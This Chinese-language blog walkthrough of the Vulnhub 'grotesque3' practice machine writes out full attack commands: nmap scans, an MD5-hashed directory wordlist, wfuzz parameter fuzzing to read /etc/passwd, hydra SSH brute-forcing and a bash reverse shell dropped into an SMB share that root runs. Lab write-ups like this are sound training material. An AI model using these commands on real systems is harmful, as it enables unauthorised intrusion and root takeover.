Vulnhub实战-grotesque3靶机

靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/

1.靶机描述

2.主机探测,端口扫描

  1. 我们在vmware中成功导入靶机之后,在kali中进行主机探测

nmap -sn 192.168.33.0/24

得到主机IP,接下来进行端口扫描

nmap -sS -p- -v 192.168.33.230

我们发现开启了80和22端口,这里说明可以进行ssh爆破,但是没有线索胡乱爆破太费时间了,所以先去看看80端口web服务有什么吧。

3.web测试

  1. 访问IP地址得到如下页面

我们看看源代码发现有一个图片,然后就啥也没了。点进去看看,我还以为是图片隐写呢,害得我一顿binwalk,foremost,stepgeek进行图片破解都无果,我在这里替大家把坑都走了。最后看了大佬的博客才发现图片里面有一个mdXXXXX,这居然代表着md5,沃日我人傻了

然后接下来居然是从文件名入手,我也不知道咋想的啥脑洞呀。我丢!意思是文件名是经过md5加密的。接下来我们先生成一个md5的文件名表。就用的kali自带的字典/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt。

执行以下命令将这个字典转换成md5的字典

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> 2.txt; done

接下来我们home目录下面就有了一个2.txt,里面都是经过md5加密的文件名,这个2.txt一开始后面都会有两个空格和一个短杠,这个是要去掉的。给它们替换成空就行了。

然后通过kali自带的工具dirbuster进行文件名遍历,在终端输入dirbuster就可以开启这个工具了。然后我们输入地址,导入字典直接开启了,最后就遍历出了一个php文件。

我们访问这个php文件返回为空,接下来就行进行参数爆破了

通过kali自带的wfuzz工具进行http参数爆破,最后爆破出了一个参数purpose

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 0 --hc 404,403 -u "http://192.168.33.230/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -t 60

我们访问这个页面发现了用户名freddie,接下来就是用hydra进行ssh爆破密码啦,密码我们就用刚刚md5加密的词表去爆破吧,我也不知道作者咋想的,我估计这个writeup如果不是作者写的话,神仙也做不出来吧。

执行以下命令:

hydra -l freddie -P /home/2.txt ssh://192.168.33.230 -t 60

接下来我们登录ssh:

ssh freddie@192.168.33.230

4.提权

我们发现当前用户是freddie,接下来我们就是想办法提升到root权限。

  1. 我们看看能不能执行什么系统命令,发现并没有 命令:sudo -l
  2. 我们再看看也没有什么suid权限的文件,发现也没有 命令:find / -perm -u=s -type f 2>/dev/null

接下来我们执行ss -tulpn发现开启了445端口,证明有smb服务在运行

接下来我们看看后台进程吧,发现有一个进程在执行,就是root用户在执行一个命令/bin/sh -c bash /smbshare/*

说明root用户在用bash这个命令去执行smbshare文件夹下面的sh文件,这个时候我们就可以传一个sh的反弹shell到smb共享文件夹下面,因为后台开启了这个进程它会自动执行这个文件夹下面的sh脚本,可能一分钟执行一次,大家传上去之后可以等等看kali过一会应该就能连上shell。

我们进到/tmp文件夹,然后进入smb共享文件夹(进入smb是不需要输入密码的,直接回车就行了。):

通过这个遍历出smb的文件名,我们发现有三个文件,依次尝试发现第二个是能够进去的。

smbclient -L 127.0.0.1

然后进入smb:

smbclient //127.0.0.1/grotesque

在这里我们是可以下载靶机的/tmp目录下面的文件进来的,通过put命令,接下来我们下载一个sh的反弹shell进来就可以了。

shell文件:

#!/bin/bash
sh -i >& /dev/tcp/192.168.33.213/10086 0>&1

我们的kali创建这个shell文件之后,通过python开启一个http服务:python3 -m http.server 9000,然后我们靶机的shell去下载这个文件

kali:
python -m http.server 9000
//这个命令在哪个目录执行的,这个目录就是跟目录 靶机:
wget http://kali的ip:9000/shell.sh kali监听端口,我的是10086:
nc -lnvp 10086 smb:
put shell.sh

最后我们就获取到root权限了,我估计后台那个进程应该是过多久执行一次,所以如果你把脚本下载进去没有立马反弹shell,你可以等等看,一分钟左右应该就会弹shell了。


Vulnhub实战-grotesque3靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. Servlet学习笔记(三)之HttpServletResponse

    init() 方法中参数 ServletConfig 对象使用 通过ServletConfig 获得 ServletContext对象 使用 HttpServletRequest 与HttpServl ...

  2. cmd(命令行)超好用的技巧,很不错的打开方式

    超快速打开管理cmd widows + x 按a 直接打开文件位置,在地址栏输入cmd 地址----直接cmd打开到所在文件位置 ex:cmd D:\work cd ../../../ 返回上几层的方 ...

  3. Python - 面向对象编程 - 新式类和旧式类

    object object 是 Python 为所有对象提供的父类,默认提供一些内置的属性.方法:可以使用 dir 方法查看 新式类 以 object 为父类的类,推荐使用 在 Python 3.x ...

  4. Sentry For React 完整接入详解(2021 Sentry v21.8.x)前方高能预警!三万字,慎入!

    内容源于:https://docs.sentry.io/platforms/javascript/guides/react/ 系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - ...

  5. python tif转jpg

    在同级目录完成tif和jpg的批量转换 import os import cv2 import numpy as np from osgeo import gdal #数据格式转化 def norma ...

  6. 20210719 noip20

    考场 后两题是原题,教练说不用写了(ycx 不讲武德) T1 先手模了 \(n\le5\) 的情况,尝试找规律失败.那就只能 DP 了,最终没搞出来. 记忆化搜索打了 \(n\le20\) 的表,交了 ...

  7. 20210712考试-2021noip11

    这篇总结比我写的好多了建议直接去看 T1 简单的序列 考场:愣了一会,想到以最大值分治.每次枚举最大值两侧更小的区间,st表预处理前缀和和最大值,用桶统计答案. 注意分治时要去掉最大值. const ...

  8. stat 命令家族(4)- 详解 iostat

    性能测试必备的 Linux 命令系列,可以看下面链接的文章哦 https://www.cnblogs.com/poloyy/category/1819490.html 介绍 报告 CPU 信息和 I/ ...

  9. Hive的分桶表

    [分桶概述] Hive表分区的实质是分目录(将超大表的数据按指定标准细分到指定目录),且分区的字段不属于Hive表中存在的字段:分桶的实质是分文件(将超大文件的数据按指定标准细分到分桶文件),且分桶的 ...

  10. 【转】shell中的$0 $n $# $* $@ $? $$ 变量 if case for while

    shell中的$0 $n $# $* $@ $? $$  shell 编程 | shift 命令用法笔记 $0当前脚本的文件名 $n传递给脚本或函数的参数.n 是一个数字,表示第几个参数.例如,第一个 ...